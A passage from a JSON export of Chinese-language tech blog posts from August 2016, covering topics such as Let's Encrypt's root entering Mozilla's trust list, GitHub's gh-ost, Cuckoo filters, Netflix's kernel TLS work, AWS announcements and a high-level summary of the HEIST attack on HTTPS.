    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 Root CA 進 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的 CA 清單了：「<a href=\"https://letsencrypt.org/2016/08/05/le-root-to-be-trusted-by-mozilla.html\">Let's Encrypt Root to be Trusted by Mozilla</a>」，Mozilla 增加的 ticket 則可以在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1289889\">Add ISRG Root X1 root certificate to NSS</a>」這邊看到。\r\n\r\n目前的信任路徑是透過 <a href=\"https://www.identrust.com/\">IdenTrust</a> 簽出來的，也就是下面那條。而現在 Mozilla 的產品線多了一條信任的路徑 (綠色粗線)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hkg0Lac.webp\" /><img src=\"https://i.gslin.com/imgur/Hkg0Lac.jpg\" alt=\"\" /></picture>\r\n\r\n其他的單位 (以及瀏覽器) 也有提出申請，還在稽核驗證：\r\n\r\n<blockquote>We have also applied to the Microsoft, Apple, Google, Oracle and Blackberry root programs. We look forward to acceptance into these programs as well.</blockquote>\r\n\r\n除了 <a href=\"https://www.oracle.com/\">Oracle</a> 應該是指 <a href=\"https://www.java.com/\">Java</a> 用到的那包，其他的應該都是包含自家的系統。",
    "title": "Let's Encrypt 的 Root CA 進入 Mozilla 的信任清單了"
  },
  {
    "id": "6715",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=12233289\">Ask HN: How do you get notified about newest research papers in your field?</a>」在問有什麼方法可以找到新的論文，前面的回答就有不少好東西...\r\n\r\n一個是 <a href=\"http://www.arxiv-sanity.com/\">Arxiv Sanity Preserver</a>，另外一個是 <a href=\"http://www.gitxiv.com/\">GitXiv</a>，兩個都是從 <a href=\"https://arxiv.org/\">arXiv</a> 上挖寶，先記錄起來，之後拿來翻東西應該會用到...",
    "title": "從 arXiv 上挖寶的網站"
  },
  {
    "id": "6716",
    "body": "<a href=\"https://github.com/\">GitHub</a> 解釋了他們在 <a href=\"https://dev.mysql.com/\">MySQL</a> 上 ALTER TABLE 的方式：「<a href=\"http://githubengineering.com/gh-ost-github-s-online-migration-tool-for-mysql/\">gh-ost: GitHub's online schema migration tool for MySQL</a>」。\r\n\r\nGitHub 的舊方式是使用 <a href=\"https://www.percona.com/doc/percona-toolkit/2.2/pt-online-schema-change.html\">pt-online-schema-change</a>，會遇到的問題有幾個，其中看起來只有 Non pausability 這個是真正的痛點：\r\n\r\n<blockquote>Non pausability: when load on the master turns high, you wish to throttle or suspend your pending migration. However a trigger-based solution cannot truly do so. While it may suspend the row-copy operation, it cannot suspend the triggers. Removal of the triggers results in data loss. Thus, the triggers must keep working throughout the migration. On busy servers, we have seen that even as the online operation throttles, the master is brought down by the load of the triggers.</blockquote>\r\n\r\n當開始後，多出來的 trigger 是沒有辦法停下來的 (停下來就代表要全部重來)，而且會影響線上服務。\r\n\r\n新的方式則是用 replication 做，多一台機器出來跑，等結束後再切換，而中間有任何過程也都很好處理：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wzQnvzw.webp\" /><img src=\"https://i.gslin.com/imgur/wzQnvzw.jpg\" alt=\"\" /></picture>\r\n\r\n這方法手筆比較大，不過對於系統已經有規模的組織來說不是問題... 看起來以後可以朝這個方向研究 XD",
    "title": "GitHub 發展出來的 ALTER TABLE 方式"
  },
  {
    "id": "6717",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud</a> 在七月的時候開放了美西機房：「<a href=\"https://cloudplatform.googleblog.com/2016/07/the-latest-for-Cloud-customers-machine-learning-and-west-coast-expansion.html\">Introducing Cloud Natural Language API, Speech API open beta and our West Coast region expansion</a>」，而且東京機房也快開了：\r\n\r\n<blockquote>And as we announced in March, Tokyo will be coming online later this year and we will announce more than 10 additional regions in 2017.</blockquote>\r\n\r\n看到「<a href=\"https://lugassy.net/why-we-moved-from-amazon-web-services-to-google-cloud-platform-726c412fd667\">Why we moved from Amazon Web Services to Google Cloud Platform?</a>」的時候去找資料才發現的。這篇讓我重新算了一次成本，如果不計算 Bandwidth Cost 的話，<a href=\"https://cloud.google.com/compute/\">GCE</a> 整體的 f1-micro 記憶體 + 20GB 比 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 多 (不過 DO 給的是 SSD 就是了)，而且還比較便宜啊...\r\n\r\n不過如果把頻寬成本算進去，Internet Egress (i.e. Outbound bandwidth) 一定要走 Google Network，這點就比較傷了... 有美西機房後，看起來可以開始考慮用看看就是了 :o",
    "title": "Google Cloud Platform 美西機房"
  },
  {
    "id": "6718",
    "body": "在「<a href=\"https://github.com/irfansharif/cfilter\">Cuckoo Filter implementation in Go, better than Bloom Filters</a>」這邊看到這個資料結構，有興趣的人也可以看「<a href=\"http://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a>」這篇介紹，下面是我抓重點整理。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom Filter</a> 支援的操作：\r\n\r\n<ul>\r\n\t<li><code>Add(element)</code></li>\r\n\t<li><code>Query(element)</code></li>\r\n</ul>\r\n\r\n1970 年提出來的資料結構。優點是空間複雜度是 O(1)，<code>Query(element)</code> 會有可接受的 false positive，缺點是不支援 <code>Delete(element)</code>、以及數量變多時誤判率的增加。\r\n\r\nCuckoo Filter 多了一組操作：\r\n\r\n<ul>\r\n\t<li><code>Delete(element)</code></li>\r\n</ul>\r\n\r\n2014 年提出來的資料結構。空間複雜度一樣是 O(1)，但相同的空間用量下 false positive 變低，然後支援 <code>Delete(element)</code> 了。也因此論文直接寫「<a href=\"https://www.cs.cmu.edu/~dga/papers/cuckoo-conext2014.pdf\">Cuckoo Filter: Practically Better Than Bloom</a>」，表示可以直接替代。",
    "title": "Cuckoo Filter：比 Bloom Filter 多了 Delete"
  },
  {
    "id": "6719",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 增加了加拿大的點：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-cloudfront-expands-to-canada/\">Amazon CloudFront Expands to Canada</a>」，一次開了兩個機房：\r\n\r\n<blockquote>I am happy to announce that we are adding CloudFront edge locations in Toronto and Montreal in order to better serve our users in the region, bringing the global count up to 59 (full list).</blockquote>\r\n\r\n價錢跟美國一樣，但是流量是分開計算累計值的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z2selOk.webp\" /><img src=\"https://i.gslin.com/imgur/z2selOk.jpg\" alt=\"\" /></picture>\r\n\r\n總算記得加拿大這個國家了 XDDD\r\n\r\n另外一個是昨天發現 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 對<a href=\"http://www.tfn.net.tw/\">台灣固網</a> (以及<a href=\"https://www.taiwanmobile.com/\">台灣大哥大</a>用戶) 已經直連了，看起來是六月底的時候就通了，只是一直沒注意到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VYFkItu.webp\" /><img src=\"https://i.gslin.com/imgur/VYFkItu.jpg\" alt=\"\" /></picture>\r\n\r\n這樣台灣主要的 ISP 對 CloudFlare 都有直連了...",
    "title": "Amazon CloudFront 加拿大機房 (然後順便提一下 CloudFlare...)"
  },
  {
    "id": "6720",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 對於寫了一篇關於隱私保護的技術細節：「<a href=\"http://techblog.netflix.com/2016/08/protecting-netflix-viewing-privacy-at.html\">Protecting Netflix Viewing Privacy at Scale</a>」。\r\n\r\n其中講到 2012 年的 <a href=\"https://openconnect.netflix.com/\">Netflix Open Connect</a> 中的 Open Connect Appliance (OCA，放伺服器到 ISP 機房的計畫) 只有單台伺服器 8Gbps，到現在 2016 可以達到 90Gbps：\r\n\r\n<blockquote>As we mentioned in a recent company blog post, since the beginning of the Open Connect program we have significantly increased the efficiency of our OCAs - from delivering 8 Gbps of throughput from a single server in 2012 to over 90 Gbps from a single server in 2016.</blockquote>\r\n\r\n早期的 Netflix 走 <a href=\"https://www.freebsd.org/cgi/man.cgi?query=sendfile&amp;sektion=2\"><code>sendfile()</code></a> 將影片丟出去，這在 kernel space 處理，所以很有效率：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kb76fk7.webp\" /><img src=\"https://i.gslin.com/imgur/kb76fk7.jpg\" alt=\"\" /></picture>\r\n\r\n當影片本身改走 HTTPS (TLS) 時，其中一個遇到的效能問題是導致 <code>sendfile()</code> 無法使用，而必須在 userland space 加密後改走回傳統的 <a href=\"https://www.freebsd.org/cgi/man.cgi?query=write&amp;sektion=2\"><code>write()</code></a> 架構，這對於效能影響很大：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wF9uw1l.webp\" /><img src=\"https://i.gslin.com/imgur/wF9uw1l.jpg\" alt=\"\" /></picture>\r\n\r\n所以他們就讓 kernel 支援 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 系列加密 (包括 AES-GCM 與 AES-CBC)，效能的提昇大約是 30%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tjXNchI.webp\" /><img src=\"https://i.gslin.com/imgur/tjXNchI.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Our changes in both the BoringSSL and ISA-L test situations significantly increased both CPU utilization and bandwidth over baseline - increasing performance by up to 30%, depending on the OCA hardware version.</blockquote>\r\n\r\n文章開頭也有提到選 AES-GCM 與 AES-CBC 的一些來龍去脈，主要是 AES-GCM 的安全強度比較好，另外考慮到舊的 client 不支援 AES-GCM 時會使用 AES-CBC：\r\n\r\n<blockquote>We evaluated available and applicable ciphers and decided to primarily use the Advanced Encryption Standard (AES) cipher in Galois/Counter Mode (GCM), available starting in TLS 1.2. We chose AES-CGM over the Cipher Block Chaining (CBC) method, which comes at a higher computational cost. The AES-GCM cipher algorithm encrypts and authenticates the message simultaneously - as opposed to AES-CBC, which requires an additional pass over the data to generate keyed-hash message authentication code (HMAC). CBC can still be used as a fallback for clients that cannot support the preferred method.</blockquote>\r\n\r\n另外 OCA 機器本身也都夠新，支援 <a href=\"https://en.wikipedia.org/wiki/AES_instruction_set\">AES-NI</a> 指令集，效能上不是太大的問題：\r\n\r\n<blockquote>All revisions of Open Connect Appliances also have Intel CPUs that support AES-NI, the extension to the x86 instruction set designed to improve encryption and decryption performance. We needed to determine the best implementation of AES-GCM with the AES-NI instruction set, so we investigated alternatives to OpenSSL, including BoringSSL and the Intel Intelligent Storage Acceleration Library (ISA-L).</blockquote>\r\n\r\n不過在「<a href=\"https://openconnect.netflix.com/deploymentguide.pdf\">Netflix Open Connect Appliance Deployment Guide</a>」(26 July 2016 版) 這份文件裡看起來還是用多條 10Gbps 透過 LACP 接上去：\r\n\r\n<blockquote>You must be able to provision 2-4 x 10 Gbps ethernet ports in a LACP LAG per OCA. The exact quantity depends on the OCA type.</blockquote>\r\n\r\n可能是下一版準備要上 40Gbps 或 100Gbps 的準備...？",
    "title": "Netflix 對 sendfile() 在 TLS 情況下的加速"
  },
  {
    "id": "6721",
    "body": "<a href=\"https://www.google.com/chrome\">Google Chrome</a> 53 將會再度限縮 Flash 的使用情境：「<a href=\"http://chrome.googleblog.com/2016/08/flash-and-chrome.html\">Flash and Chrome</a>」。\r\n\r\n<blockquote>Today, more than 90% of Flash on the web loads behind the scenes to support things like page analytics. This kind of Flash slows you down, and starting this September, Chrome 53 will begin to block it.</blockquote>\r\n\r\n而到了 55 的時候會再縮，只有 Chrome 裡面白名單的網站才支援 Flash：\r\n\r\n<blockquote>In December, Chrome 55 will make HTML5 the default experience, except for sites which only support Flash.</blockquote>",
    "title": "Google Chrome 53 要再限縮 Flash 的使用"
  },
  {
    "id": "6723",
    "body": "前幾天跟 <a href=\"https://aws.amazon.com/\">AWS</a> 的人開會的時候得知 <a href=\"https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/\">ALB</a> 的 beta program，今天就看到正式公開的消息了：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-application-load-balancer/\">New – AWS Application Load Balancer</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vqFEZji.webp\" /><img src=\"https://i.gslin.com/imgur/vqFEZji.jpg\" alt=\"\" /></picture>\r\n\r\n最主要的是對 WebSockets 與 HTTP/2 的支援，這個需求都喊很久了：\r\n\r\n<blockquote>WebSocket allows you to set up long-standing TCP connections between your client and your server. This is a more efficient alternative to the old-school method which involved HTTP connections that were held open with a “heartbeat” for very long periods of time. WebSocket is great for mobile devices and can be used to deliver stock quotes, sports scores, and other dynamic data while minimizing power consumption. ALB provides native support for WebSocket via the ws:// and wss:// protocols.</blockquote>\r\n\r\n<blockquote>HTTP/2 is a significant enhancement of the original HTTP 1.1 protocol. The newer protocol feature supports multiplexed requests across a single connection. This reduces network traffic, as does the binary nature of the protocol.</blockquote>\r\n\r\n另外是 url routing，不過目前看起來只能設 10 條，我猜可以問問能不能加吧：\r\n\r\n<blockquote>An Application Load Balancer has access to HTTP headers and allows you to route requests to different backend services accordingly. For example, you might want to send requests that include /api in the URL path to one group of servers (we call these target groups) and requests that include /mobile to another. Routing requests in this fashion allows you to build applications that are composed of multiple microservices that can run and be scaled independently.\r\n\r\nAs you will see in a moment, each Application Load Balancer allows you to define up to 10 URL-based rules to route requests to target groups. Over time, we plan to give you access to other routing methods.</blockquote>\r\n\r\n再來是改善了之前抱怨很多的 health check：\r\n\r\n<blockquote>Application Load Balancers can perform and report on health checks on a per-port basis. The health checks can specify a range of acceptable HTTP responses, and are accompanied by detailed error codes.</blockquote>\r\n\r\n改進了不少東西...",
    "title": "AWS 的 ALB (Application Load Balancer)"
  },
  {
    "id": "6724",
    "body": "開放 IPv6 存取 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 了：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-ipv6-support-for-amazon-s3/\">Now Available – IPv6 Support for Amazon S3</a>」。\r\n\r\n對應的 Endpoint 是 <code>http://BUCKET.s3.dualstack.REGION.amazonaws.com</code> 與 <code>http://s3.dualstack.REGION.amazonaws.com/BUCKET</code>。\r\n\r\n<del>值得注意的是所有功能都開放 IPv6 了，包括 BitTorrent</del> (還記得嗎 XDDD 如果忘記的，可以參考「<a href=\"https://docs.aws.amazon.com/AmazonS3/latest/dev/S3Torrent.html\">Using BitTorrent with Amazon S3</a> 這篇的說明」)：\r\n\r\n<blockquote>S3 Feature Support – IPv6 support is available for all S3 features with the exception of Website Hosting, S3 Transfer Acceleration, and access via BitTorrent.</blockquote>\r\n\r\n<strong>Update</strong>：寫太快發現早上匆匆忙忙出門寫錯了，是「不支援」，感謝 Twitter 上被提醒了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\"><a href=\"https://twitter.com/gslin\">@gslin</a> “with the exception of” 應該是說 S3 不支援在BitTorrent 上使用 IPv6。</p>&mdash; cheungpat (@cheungpat) <a href=\"https://twitter.com/cheungpat/status/764139887440252930\">August 12, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n接下來是等 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 的支援...",
    "title": "Amazon S3 開放 IPv6 存取"
  },
  {
    "id": "6726",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/08/10/small-innodb_page_size-performance-boost-ssd/\">Small innodb_page_size as a performance boost for SSD</a>」這篇文章裡提到了 MySQL 5.7 的 <code>innodb_page_size</code> 在 SSD 上對效能的差異，主要是這張圖的解釋：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lRTg546.webp\" /><img src=\"https://i.gslin.com/imgur/lRTg546.jpg\" alt=\"\" /></picture>\r\n\r\n先講一下標示的部份，有三個產品線 (都是 <a href=\"https://www.samsung.com/\">Samsung</a> 的 SSD)，中間的 sam850 是消費級的 SSD 硬碟 (所以不是本次重點)，而 sam863 是企業級 SATA SSD，pm1725 則是企業級 PCI-e SSD。下方的 BP 指的是 Buffer Pool 大小，單位是 GB。左邊是速度，數字愈大愈好。\r\n\r\nInnoDB 預設 16KB 的 page size，配合 SSD 大多都是 4KB 的 block size 後，效能的提昇非常巨大 (70% 的提昇)，雖然既有的 InnoDB 要換過去會花不少功夫，但作者還是很建議評估：\r\n\r\n<blockquote>I think a 70% performance gain is too significant to ignore, even if manipulating innodb_page_size requires extra work. I think it is worthwhile to evaluate if using different innodb_page_size settings help a fast SSD under your workload.</blockquote>\r\n\r\n不過 comment 有不少額外重要的資訊。\r\n\r\n有提到 <a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 目前有 bug，無法使用 4KB page size，可以在「<a href=\"https://github.com/codership/galera/issues/398\">Restarting a cluster with innodb_page_size=4096 segfaults</a>」這邊看到 bug report。\r\n\r\n另外有提到，使用 InnoDB Compression 的前提下，4KB 也許不是個好主意，用 8KB 也許是個方向：\r\n\r\n<blockquote>You’re right – if you’re using Innodb Compression 4K base page is unlikely to be the good choice. Though we do not see Innodb compression (any of them) being used too frequently.\r\n\r\nIf using compression 8K base page size with 4K compressed page size might be good idea if 2x compression is routinely reached</blockquote>\r\n\r\n不過我覺得應該還是有幫助才對 (可能提昇不高，但想了一下應該不會有負面的影響)，之後有機會再測試看看吧 :o",
    "title": "MySQL 5.7 中 InnoDB 的 innodb_page_size 在 SSD 硬碟上對效能的巨大影響"
  },
  {
    "id": "6731",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=12282231\">Ask HN: Is it possible to run your own mail server for personal use?</a>」這篇道出了現在自建 mail system 的難度。作者遇到信件常常被各大 mail 服務歸類成 spam：\r\n\r\n<blockquote>The problem is making sure my mail is not marked as spam by the major MTAs out there, gmail and hotmail both mark my mails as spam.</blockquote>\r\n\r\n整理一下現在自己建 mail system 要做到哪些事情：\r\n\r\n<ul>\r\n\t<li>確認 IP (包括 IPv4/IPv6) 沒有列入任何 Open Relay 清單中。</li>\r\n\t<li>確認 IP 的反解可以查出對應的正解。</li>\r\n\t<li>確認 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a> 設定。</li>\r\n\t<li>確認送出去的信件有 <a href=\"https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail\">DKIM</a> 簽名，而且 DNS 也有設上對應的設定。</li>\r\n\t<li>確認 TLS 的發送與接收都正常。</li>\r\n\t<li>確認 <a href=\"https://en.wikipedia.org/wiki/DMARC\">DMARC</a> 機制正確運作。</li>\r\n</ul>\r\n\r\n如同「<a href=\"https://sfconservancy.org/blog/2015/sep/15/email/\">Exercising Software Freedom in the Global Email System</a>」這邊講的，現在要自己搞 mail system 超累...",
    "title": "自建 Mail System 的難度"
  },
  {
    "id": "6733",
    "body": "在「<a href=\"http://mewo2.com/notes/terrain/\">Generating fantasy maps</a>」這邊看到在講產生隨機地圖的方法，就像這樣細緻的地圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y6O8r6M.webp\" /><img src=\"https://i.gslin.com/imgur/Y6O8r6M.jpg\" alt=\"\" /></picture>\r\n\r\n作者是依照「<a href=\"http://www-cs-students.stanford.edu/~amitp/game-programming/polygon-map-generation/\">Polygonal Map Generation for Games</a>」這篇的方法改善的，我之前看過但好像沒寫文章記錄下來...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GqoUlDU.webp\" /><img src=\"https://i.gslin.com/imgur/GqoUlDU.jpg\" alt=\"\" /></picture>\r\n\r\n兩篇文章裡面都寫得很詳細，一步一步提供用到的演算法以及範例說明。",
    "title": "產生隨機地圖"
  },
  {
    "id": "6734",
    "body": "又是一個對 HTTPS 的攻擊：「<a href=\"https://www.scmagazine.com/heist-attack-on-ssltls-can-grab-personal-info-black-hat/article/514203/\">HEIST attack on SSL/TLS can grab personal info, Black Hat</a>」、「<a href=\"http://arstechnica.com/security/2016/08/new-attack-steals-ssns-e-mail-addresses-and-more-from-https-pages/\">New attack steals SSNs, e-mail addresses, and more from HTTPS pages</a>」。\r\n\r\n一樣是 Compression 產生的 side-channel attack，只是這次是結合 TCP window size 的攻擊。投影片可以在「<a href=\"https://media.scmagazine.com/documents/249/heist_62166.pdf\">HTTP Encrypted Information can be Stolen through TCP-windows</a> (PDF)」這邊看到。\r\n\r\n這次的攻擊只需要在瀏覽器上插入 HTTP 產生 HTTPS 的流量，然後從旁邊看 HTTPS 連線的 TCP packet 就可以了，而且對 HTTP/2 也很有效：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WUctx5f.webp\" /><img src=\"https://i.gslin.com/imgur/WUctx5f.jpg\" alt=\"\" /></picture>\r\n\r\n而且很不幸的，目前沒有太好的解法，因為所有的攻擊手法都是照著使用者無法發現的路徑進行的 @_@\r\n\r\n對於使用者，大量使用 HTTPS (像是 <a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a> 這樣的套件)，能夠降低政府單位與 ISP 將 javascript 插入 HTTP 連線，產生 HTTPS 的行為。\r\n\r\n而對於網站端來說，全站都隨機產生不同長度的 HTTP header 可能是個增加破解難度的方式 (而且不會太難做，可以透過 <a href=\"https://httpd.apache.org/\">apache</a> module 或是 <a href=\"http://nginx.org/\">nginx</a> module 做到)，但還是可以被統計方法再推算出來。\r\n\r\n不知道有沒有辦法只對 HTTPS 開 javascript，雖然攻擊者還是可以用 <code>&lt;img&gt;</code> 攻擊...\r\n\r\n也許以後 HTTP/3 之類的協定會有一區是不壓縮只加密的，避開這類 compression-based attack @_@",
    "title": "前陣子在 Black Hat 上發表的 HEIST 攻擊 (對 HTTPS 的攻擊)"
  },
  {
    "id": "6735",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的方法，作者利用機器學習的方法試著找出那些因素導致他變胖，然後再規劃減肥計畫：「<a href=\"https://github.com/arielf/weight-loss\">Discovering ketosis: how to effectively lose weight</a>」，文章有點長，講重點。\r\n\r\n首先作者把每天的體重與行為記錄起來，像是這樣：\r\n\r\n<pre>#\r\n# -- Comment lines (ignored)\r\n#\r\nDate,MorningWeight,YesterdayFactors\r\n2012-06-10,185.0,\r\n2012-06-11,182.6,salad sleep bacon cheese tea halfnhalf icecream\r\n2012-06-12,181.0,sleep egg\r\n2012-06-13,183.6,mottsfruitsnack:2 pizza:0.5 bread:0.5 date:3 dietsnapple splenda milk nosleep\r\n2012-06-14,183.6,coffeecandy:2 egg mayo cheese:2 rice meat bread:0.5 peanut:0.4\r\n2012-06-15,183.4,meat sugarlesscandy salad cherry:4 bread:0 dietsnapple:0.5 egg mayo oliveoil\r\n2012-06-16,183.6,caprise bread grape:0.2 pasadena sugaryogurt dietsnapple:0.5 peanut:0.4 hotdog\r\n2012-06-17,182.6,grape meat pistachio:5 peanut:5 cheese sorbet:5 orangejuice:2\r\n# and so on ...</pre>\r\n\r\n當時只是記錄，並沒有刻意減肥：\r\n\r\n<blockquote>I was not dieting at that time. Just collecting data.</blockquote>\r\n\r\n剩下的就跑分析直接拉出哪些行為的幫助最大，於是就有這張圖了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XjqqE44.webp\" /><img src=\"https://i.gslin.com/imgur/XjqqE44.jpg\" alt=\"\" /></picture>",
    "title": "機器學習減肥法"
  },
  {
    "id": "6736",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 發表了他們所研究的 Document Detecting 技術：「<a href=\"https://blogs.dropbox.com/tech/2016/08/fast-and-accurate-document-detection-for-scanning/\">Fast and Accurate Document Detection for Scanning</a>」。\r\n\r\n他們希望抓出這張圖裡面「文件」的「邊緣」：\r\n\r\n<img src=\"https://i.gslin.com/imgur/GhSnumx.jpg\" alt=\"\" />\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/Canny_edge_detector\">Canny edge detector</a> 會跑出這樣，很明顯多了很多不太正確的邊線，對於後續判斷上會困難不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0N6jXve.webp\" /><img src=\"https://i.gslin.com/imgur/0N6jXve.jpg\" alt=\"\" /></picture>\r\n\r\n剛好也是最近看到的另外一篇文章「<a href=\"http://setosa.io/ev/image-kernels/\">Image Kernels Explained Visually</a>」在講 Image Kernel，有些地方有點類似的東西，交叉看頗有感覺的...\r\n\r\nAnyway，Dropbox 最後的成果很不錯啊，可以看示範：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Z7Jtst6.gif\" alt=\"\" />",
    "title": "Dropbox 的 Document Detecting"
  },
  {
    "id": "6737",
    "body": "微軟也推出類似於 <a href=\"https://cloud.google.com/\">Google Cloud</a> 的 <a href=\"https://cloud.google.com/vision/\">Vision API</a> 的服務了：「<a href=\"https://www.microsoft.com/cognitive-services/en-us/computer-vision-api\">Microsoft Cognitive Services - Computer Vision API</a>」。\r\n\r\n微軟這次推出了三個功能，Analyze an image (類似於 Google Cloud 這邊的 Label Detection)、Generate a thumbnail (Google Cloud 沒有對應的功能) 與 OCR (對應到 Google Cloud 的 OCR)。\r\n\r\n微軟的每千次都是 USD$1.5，而 Google 的 Label Detection 則貴多了 (最開始是 USD$5，到最大的量是 USD$2)，不知道兩邊辨識的品質如何...\r\n\r\n而 OCR 的部份 Google 開始是 $2.5，到最大的量是 $0.6，兩邊的定價策略也蠻有趣的。",
    "title": "微軟也推出圖片辨識的 API 了"
  },
  {
    "id": "6738",
    "body": "昨天跟朋友吃飯的時候談到這個問題，回家幫他找一下解法。主要的限制是各 ISP 對單一 mac address 限制分配一個 IP，所以問題只在於要怎麼在 <a href=\"https://www.linux.com/\">Linux</a> 下的單一網卡建立多個不同的 mac address，後續的就好做了。\r\n\r\n主要是參考 <a href=\"https://sreeninet.wordpress.com/2016/05/29/macvlan-and-ipvlan/\">Macvlan and IPvlan basics</a> 這篇文章的指令測試。\r\n\r\n首先是建立 <code>fakevlan1</code> (卡號系統會隨機產生)，然後啟用他，最後呼叫 dhclient 請 ISP 提供 IP：\r\n\r\n<pre># ip link add fakevlan1 link eth1 type macvlan mode bridge\r\n# ifconfig fakevlan1 up\r\n# dhclient fakevlan1</pre>\r\n\r\n這邊細部沒有處理 routing 的問題 (dhclient 會收到 ISP 提供的各種 routing 與 dns 資訊)，看起來可以透過「<a href=\"https://unix.stackexchange.com/questions/182967/can-i-prevent-a-default-route-being-added-when-bringing-up-an-interface\">Can I prevent a default route being added when bringing up an interface?</a>」這邊的方法處理掉。\r\n\r\nPPPoE 的方法我相信也類似啦... (手邊沒有 <a href=\"http://www.hinet.net/\">HiNet</a> 線路可以測試 XD)",
    "title": "一張網卡上面從 ISP 取得多個 DHCP IP 或是取得多個 PPPoE IP"
  },
  {
    "id": "6740",
    "body": "<a href=\"https://wigle.net/\">WiGLE</a> 是個蒐集無線網路資訊的服務 (i.e. SSID、mac address 以及定位位置)，依照維基百科上的資料，WiGLE 計畫從 2001 年開始，到現在快十五年了：\r\n\r\n<blockquote>The first recorded hotspot on WiGLE was uploaded in September 2001.</blockquote>\r\n\r\n趁著最近 <a href=\"http://www.pokemongo.com/\">Pokémon Go</a> 會跑來跑去，就順便幫忙蒐集資料了...\r\n\r\n目前我蒐集資料的方式是透過 WiGLE 的 <a href=\"https://www.android.com/\">Android</a> 應用程式 (<a href=\"https://play.google.com/store/apps/details?id=net.wigle.wigleandroid\">Wigle Wifi Wardriving</a>) 開著讓他背景跑，然後回到家以後上傳，過一陣子讓系統更新後就可以看到了。",
    "title": "WiGLE (Wireless Geographic Logging Engine)"
  },
  {
    "id": "6741",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到整理出來的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Awesome. &quot;Linux Performance Tools&quot; by <a href=\"https://twitter.com/brendangregg\">@brendangregg</a> via <a href=\"https://twitter.com/FreeBSDHelp\">@FreeBSDHelp</a> Large version <a href=\"https://t.co/ByoYeLpjWW\">https://t.co/ByoYeLpjWW</a> <a href=\"https://twitter.com/hashtag/sysadmin?src=hash\">#sysadmin</a> <a href=\"https://t.co/sLckhiJiPB\">pic.twitter.com/sLckhiJiPB</a></p>&mdash; nixCraft (@nixcraft) <a href=\"https://twitter.com/nixcraft/status/763627361224957952\">August 11, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n大圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2NAvHn1.webp\" /><img src=\"https://i.gslin.com/imgur/2NAvHn1.jpg\" alt=\"\" /></picture>\r\n\r\n找時間操練一次才會記得... 不過話說回來，出現 <a href=\"https://twitter.com/FreeBSDHelp\">@FreeBSDHelp</a> 也是頗有趣的 XD",
    "title": "Linux 下各種效能觀察工具"
  },
  {
    "id": "6742",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的新功能，在 pull request 後修改 target branch，這樣可以做後續討論或是調整，然後再 merge 回 dev 或是 master branch 上：「<a href=\"https://github.com/blog/2224-change-the-base-branch-of-a-pull-request\">Change the base branch of a Pull Request</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/lpcfY4L.gif\" alt=\"\" />",
    "title": "在 Pull Request 後修改 target branch"
  },
  {
    "id": "6743",
